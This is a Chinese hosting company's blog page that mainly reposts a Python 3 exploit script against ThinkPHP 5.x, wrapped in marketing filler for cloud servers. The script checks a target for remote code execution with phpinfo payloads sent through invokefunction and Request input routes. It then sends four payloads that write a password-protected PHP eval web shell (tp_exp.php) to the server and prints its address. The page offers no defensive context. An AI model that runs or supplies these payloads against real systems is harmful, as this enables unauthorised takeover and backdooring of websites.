怎么在python3中使用ThinkPHP命令執(zhí)行Getshell-創(chuàng)新互聯(lián)

這篇文章將為大家詳細講解有關(guān)怎么在python3中使用ThinkPHP命令執(zhí)行Getshell,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

在西寧等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強發(fā)展的系統(tǒng)性、市場前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務理念,為客戶提供網(wǎng)站設計制作、網(wǎng)站建設 網(wǎng)站設計制作按需設計網(wǎng)站,公司網(wǎng)站建設,企業(yè)網(wǎng)站建設,品牌網(wǎng)站設計,營銷型網(wǎng)站建設,成都外貿(mào)網(wǎng)站建設公司,西寧網(wǎng)站建設費用合理。
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

關(guān)于怎么在python3中使用ThinkPHP命令執(zhí)行Getshell就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

另外有需要云服務器可以了解下創(chuàng)新互聯(lián)scvps.cn,海內(nèi)外云服務器15元起步,三天無理由+7*72小時售后在線,公司持有idc許可證,提供“云服務器、裸金屬服務器、高防服務器、香港服務器、美國服務器、虛擬主機、免備案服務器”等云主機租用服務以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡單易用、服務可用性高、性價比高”等特點與優(yōu)勢,專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應用場景需求。

網(wǎng)站名稱:怎么在python3中使用ThinkPHP命令執(zhí)行Getshell-創(chuàng)新互聯(lián)
網(wǎng)站網(wǎng)址:http://www.muchs.cn/article0/dhceio.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供動態(tài)網(wǎng)站、網(wǎng)站設計公司、品牌網(wǎng)站建設、全網(wǎng)營銷推廣搜索引擎優(yōu)化、App開發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

外貿(mào)網(wǎng)站制作